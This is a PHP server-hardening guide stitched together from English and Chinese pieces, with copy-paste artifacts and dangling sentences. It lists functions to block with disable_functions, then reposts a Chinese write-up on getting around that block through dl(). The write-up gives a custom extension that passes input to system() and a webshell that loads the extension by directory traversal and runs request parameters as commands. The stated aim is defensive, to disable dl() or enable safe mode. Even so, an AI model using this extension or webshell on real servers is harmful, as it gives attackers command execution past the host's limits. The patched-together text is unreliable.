Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. However, most script kiddie try to exploit php application such as wordpress using exec() , passthru() , shell_exec() , system() etc functions. How do I disable these functions to improve my php script security?
A. PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in php.ini using disable_functions directive. This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf.
Open php.ini file:
# vi /etc/php.ini
Find disable_functions and set new list as follows:
尋找disable_functions然後用下面的替換
複製代碼 代碼如下:disable_functions =phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Save and close the file. Restart httpd: 複製代碼 代碼如下:# service httpd restart
Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:
iis中設定方法,在c:\windows\php.ini
星外的設定:
複製代碼 代碼如下:disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,gzinflate,set_time_limit
建議增加phpinfo等,可以參考上面的設定,以後在使用過程中可能會出現php不支援部分功能的現象,然後大家可以搜尋下錯誤提示,去掉相應的函數即可。
支援的越多越不安全,對於採集程式來說需要去掉curl_exec,大家多測試即可。
下面提供一個更完整的版本
複製代碼 代碼如下:disable_functions =phpinfo,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,curl_exec,multi_exec,chmod,gzinflate,set_time_limit,
iis中設定後,運行中輸入 iisreset /restart即可。
注意下面的突破方法:建議開啟安全模式
PHP是一款功能強大應用廣泛的指令碼語言,很大一部分網站都是使用PHP架構的。因為其提供了強大的檔案操作功能和與系統互動的功能,所以大部分的伺服器都對PHP做了嚴格的限制,包括使用open_basedir限制可以操作的目錄以及使用disable_functions限制程式使用一些可以直接執行系統命令的函數如system,exec,passthru,shell_exec,proc_open等等。但是如果伺服器沒有對dl()函數做限制,一樣可以利用dl()函數饒過這些限制。
dl()函數允許在php指令碼裡動態載入php模組,預設是載入extension_dir目錄裡的擴充,該選項是PHP_INI_SYSTEM範圍可修改的,只能在php.ini或者apache主設定檔裡修改。當然,你也可以通過enable_dl選項來關閉動態載入功能,而這個選項預設為On的,事實上也很少人注意到這個。dl()函數在設計時存在安全性漏洞,可以用../這種目錄遍曆的方式指定載入任何一個目錄裡的so等擴充檔案,extension_dir限制可以被隨意饒過。所以我們可以上傳自己的so檔案,並且用dl函數載入這個so檔案然後利用so檔案裡的函數執行其他動作,包括系統命令。
PHP_FUNCTION(dl)
{
pval **file;
#ifdef ZTS
if ((strncmp(sapi_module.name, "cgi", 3)!=0) &&
(strcmp(sapi_module.name, "cli")!=0) &&
(strncmp(sapi_module.name, "embed", 5)!=0)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php.ini");
RETURN_FALSE;
} //驗證是否可以使用dl函數,在多線程web伺服器裡是禁止的
#endif
/* obtain arguments */
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(file); //取得參數
if (!PG(enable_dl)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled");//驗證是否enable_dl,預設為on
} else if (PG(safe_mode)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//驗證是否safe_mode開啟
} else {
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //開始調用載入
EG(full_tables_cleanup) = 1;
}
下面是開始處理模組的載入
void php_dl(pval *file, int type, pval *return_value TSRMLS_DC)
{
void *handle;
char *libpath;
zend_module_entry *module_entry, *tmp;
zend_module_entry *(*get_module)(void);
int error_type;
char *extension_dir; //定義一些變數
if (type==MODULE_PERSISTENT) {
/* Use the configuration hash directly, the INI mechanism is not yet initialized */
if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) {
extension_dir = PHP_EXTENSION_DIR;
}
} else {
extension_dir = PG(extension_dir);
} //取得php.ini裡的設定也就是extension_dir的目錄
if (type==MODULE_TEMPORARY) {
error_type = E_WARNING;
} else {
error_type = E_CORE_WARNING;
}
if (extension_dir && extension_dir[0]){
int extension_dir_len = strlen(extension_dir);
libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2);
if (IS_SLASH(extension_dir[extension_dir_len-1])) {
sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); /* SAFE */
} else {
sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */
} //構造最終的so檔案的位置,只是簡單的附加,並沒有對傳入的參數做任何檢查,包括open_basedir等
} else {
libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file));
}
/* load dynamic symbol */
handle = DL_LOAD(libpath); //開始真正的調用了
看到了吧,我們可以調用任意的so了哦!下一步就是編寫自己的so模組,並且調用他。按照官方提供的模組編寫方法,我寫了個很簡單的,主要的匯出函數loveshell如下:
PHP_FUNCTION(loveshell)
{
char *command;
int command_len;
if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) {
WRONG_PARAM_COUNT;
}
system(command);
zend_printf("I recieve %s",command);
}
注意由於php4和php5的結構不一樣,所以如果想要能順利調用擴充,那麼在php4環境下就要將上面的代碼放到php4環境下編譯,php5的就要在php5環境下編譯。我們將編寫好的擴充上傳到伺服器,就可以利用下面的代碼執行命令了:
<?php
dl('../../../../../../../../../www/users/www.cnbct.org/loveshell.so');
$cmd=$_REQUEST[c]." 2>&1>tmp.txt";
loveshell($cmd);
echo "<br>";
echo file_get_contents('tmp.txt');
?>
所以如果想保證伺服器的安全,請將這個函數加到disable_functions裡或者將安全模式開啟吧,在安全模式下dl函數是無條件禁止的!:)